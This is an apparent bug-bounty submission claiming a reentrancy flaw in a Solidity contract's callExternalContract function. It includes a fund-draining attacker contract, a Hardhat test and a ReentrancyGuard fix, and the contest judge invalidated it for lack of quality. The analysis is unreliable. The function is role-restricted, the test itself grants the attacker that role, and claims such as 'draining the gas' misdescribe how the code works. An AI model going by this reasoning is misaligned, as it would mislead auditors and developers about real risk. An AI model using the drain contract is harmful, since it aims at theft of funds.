Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Unprotected External Call

Summary : The callExternalContract function performs an external call to another contract, but it does not properly protect against reentrancy attacks. Specifically, the function calls the external contract using contractAddress.call{value: msg.value}(data), which can lead to reentrancy if the external contract is malicious.

Vulnerability Type: Reentrancy

Affected Contract: MembershipFactory.sol

Affected Function: callExternalContract

/// @notice Performs an external call to another contract
/// @param contractAddress The address of the external contract
/// @param data The calldata to be sent
/// @return result The bytes result of the external call
function callExternalContract(address contractAddress, bytes memory data) external payable onlyRole(EXTERNAL_CALLER) returns (bytes memory ) {
(bool success, bytes memory returndata) = contractAddress.call{value: msg.value}(data);
require(success, "External call failed");
return returndata;
}

Vulnerability Details :

What is a reentrancy attack?

A reentrancy attack occurs when a contract calls another contract, and the called contract executes a function that, in turn, calls back into the original contract, potentially causing unintended behavior.

How does the callExternalContract function enable reentrancy attacks?

The callExternalContract function uses the contractAddress.call{value: msg.value}(data) syntax to perform an external call to another contract. This syntax allows the external contract to execute a function that can, in turn, call back into the MembershipFactory contract.

Why is this a problem?

If the external contract is malicious, it can exploit this behavior to drain the gas of the MembershipFactory contract or execute unauthorized functions. This is because the MembershipFactory contract is not properly protecting against reentrancy attacks.

How can an attacker exploit this vulnerability?

Here's an example of how an attacker could exploit this vulnerability:

  1. The attacker creates a malicious contract that implements a function that calls back into the MembershipFactory contract.

  2. The attacker calls the callExternalContract function on the MembershipFactory contract, passing in the address of their malicious contract and the data required to execute the malicious function.

  3. The MembershipFactory contract calls the malicious contract using the contractAddress.call{value: msg.value}(data) syntax.

  4. The malicious contract executes the malicious function, which calls back into the MembershipFactory contract.

  5. The MembershipFactory contract executes the function called by the malicious contract, potentially causing unintended behavior or draining the gas of the contract.

Impact : The potential impact of this vulnerability is significant, as it could allow an attacker to:

  1. Drain the gas of the MembershipFactory contract: By repeatedly calling the callExternalContract function, an attacker could drain the gas of the contract, making it unusable.

  2. Execute unauthorized functions: An attacker could use the vulnerability to execute functions on the MembershipFactory contract that they are not authorized to call, potentially leading to unintended behavior or security breaches.

  3. Steal or manipulate user data: If the MembershipFactory contract stores sensitive user data, an attacker could potentially access or manipulate this data by exploiting the vulnerability.

  4. Disrupt the functionality of the DAO: The vulnerability could be used to disrupt the functionality of the DAO, potentially causing financial losses or other negative consequences for users.

Proof of Concept Code : Here’s a proof of concept demonstrating a reentrancy attack that targets the callExternalContract function.

Step 1: Vulnerable Contract

First, let's include the original callExternalContract function within a simplified vulnerable contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/access/AccessControl.sol";
contract VulnerableContract is AccessControl {
bytes32 public constant EXTERNAL_CALLER = keccak256("EXTERNAL_CALLER");
constructor() {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(EXTERNAL_CALLER, msg.sender);
}
/// @notice Performs an external call to another contract
/// @param contractAddress The address of the external contract
/// @param data The calldata to be sent
/// @return result The bytes result of the external call
function callExternalContract(address contractAddress, bytes memory data)
external
payable
onlyRole(EXTERNAL_CALLER)
returns (bytes memory)
{
(bool success, bytes memory returndata) = contractAddress.call{value: msg.value}(data);
require(success, "External call failed");
return returndata;
}
}

Step 2: Malicious Contract

Now, let's create a malicious contract that exploits the reentrancy vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableContract.sol";
contract MaliciousContract {
VulnerableContract public vulnerableContract;
address public owner;
constructor(address _vulnerableContract) {
vulnerableContract = VulnerableContract(_vulnerableContract);
owner = msg.sender;
}
// Fallback function to exploit reentrancy
fallback() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
vulnerableContract.callExternalContract{value: 1 ether}(address(this), abi.encodeWithSignature("drain()"));
}
}
// Function to initiate the attack
function initiateAttack() external payable {
require(msg.value >= 1 ether, "Send at least 1 ether to initiate the attack");
vulnerableContract.callExternalContract{value: 1 ether}(address(this), abi.encodeWithSignature("drain()"));
}
// Function to withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
// Dummy function called during the exploit
function drain() external payable {
vulnerableContract.callExternalContract{value: 1 ether}(address(this), abi.encodeWithSignature("drain()"));
}
}

Step 3: Deploy and Exploit

Lets's deploy and exploit the vulnerable contract in a JavaScript (Hardhat) test:

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack", function () {
let vulnerableContract, maliciousContract;
let owner, attacker;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
// Deploy the vulnerable contract
const VulnerableContract = await ethers.getContractFactory("VulnerableContract");
vulnerableContract = await VulnerableContract.deploy();
await vulnerableContract.deployed();
// Deploy the malicious contract
const MaliciousContract = await ethers.getContractFactory("MaliciousContract");
maliciousContract = await MaliciousContract.deploy(vulnerableContract.address);
await maliciousContract.deployed();
// Fund the vulnerable contract
await owner.sendTransaction({
to: vulnerableContract.address,
value: ethers.utils.parseEther("10"), // Fund with 10 Ether
});
// Grant EXTERNAL_CALLER role to malicious contract
await vulnerableContract.grantRole(ethers.utils.id("EXTERNAL_CALLER"), maliciousContract.address);
});
it("Should drain funds through reentrancy", async function () {
// Attack initiated by the attacker
await attacker.sendTransaction({
to: maliciousContract.address,
value: ethers.utils.parseEther("1"),
});
await maliciousContract.connect(attacker).initiateAttack({ value: ethers.utils.parseEther("1") });
// Verify that the malicious contract has drained the vulnerable contract
const finalBalance = await ethers.provider.getBalance(maliciousContract.address);
expect(finalBalance).to.be.gt(ethers.utils.parseEther("10")); // Should be greater than 10 Ether
});
});

Summary

This proof of concept demonstrates how a reentrancy attack can exploit the callExternalContract function in the VulnerableContract. The MaliciousContract uses a fallback function to recursively call back into callExternalContract, draining funds from the vulnerable contract.

Tools Used : VS code

Recommendations :

  • First, let's import the ReentrancyGuard contract from OpenZeppelin.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
  1. Inherit ReentrancyGuard:

    • Inherit the ReentrancyGuard contract in your contract. This will give access to the nonReentrant modifier, which prevents reentrant calls.

    contract YourContract is AccessControl, NativeMetaTransaction, ReentrancyGuard {
    ...
    }
  2. Apply nonReentrant Modifier:

    • Apply the nonReentrant modifier to the callExternalContract function. This will ensure that the function cannot be re-entered while it is still executing.

    function callExternalContract(address contractAddress, bytes memory data)
    external
    payable
    onlyRole(EXTERNAL_CALLER)
    nonReentrant
    returns (bytes memory)
    {
    (bool success, bytes memory returndata) = contractAddress.call{value: msg.value}(data);
    require(success, "External call failed");
    return returndata;
    }

Full Example with Reentrancy Guard:

Here’s the complete contract code with the ReentrancyGuard implemented:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract YourContract is AccessControl, NativeMetaTransaction, ReentrancyGuard {
bytes32 public constant EXTERNAL_CALLER = keccak256("EXTERNAL_CALLER");
constructor() {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(EXTERNAL_CALLER, msg.sender);
}
/// @notice Performs an external call to another contract
/// @param contractAddress The address of the external contract
/// @param data The calldata to be sent
/// @return result The bytes result of the external call
function callExternalContract(address contractAddress, bytes memory data)
external
payable
onlyRole(EXTERNAL_CALLER)
nonReentrant
returns (bytes memory)
{
(bool success, bytes memory returndata) = contractAddress.call{value: msg.value}(data);
require(success, "External call failed");
return returndata;
}
}

How ReentrancyGuard Works:

  • The ReentrancyGuard contract uses a simple but effective locking mechanism. When a function with the nonReentrant modifier is called, it sets a "lock" which prevents the same function (or any other function with the nonReentrant modifier) from being called until the first call is complete.

Benefits of ReentrancyGuard:

  • Prevents Recursive Calls: The nonReentrant modifier ensures that the function cannot be re-entered, preventing recursive calls that could exploit the contract.

  • Simple to Implement: It requires minimal changes to the contract code and is easy to integrate.

  • Effective Defense: It provides a robust defense against reentrancy attacks, which have been a common exploit in smart contracts.

By implementing the ReentrancyGuard, we add an important layer of security to your contract, ensuring that the callExternalContract function cannot be exploited by reentrancy attacks.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Appeal created

nitinaimshigh Submitter
10 months ago
0xbrivan2 Lead Judge
10 months ago
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.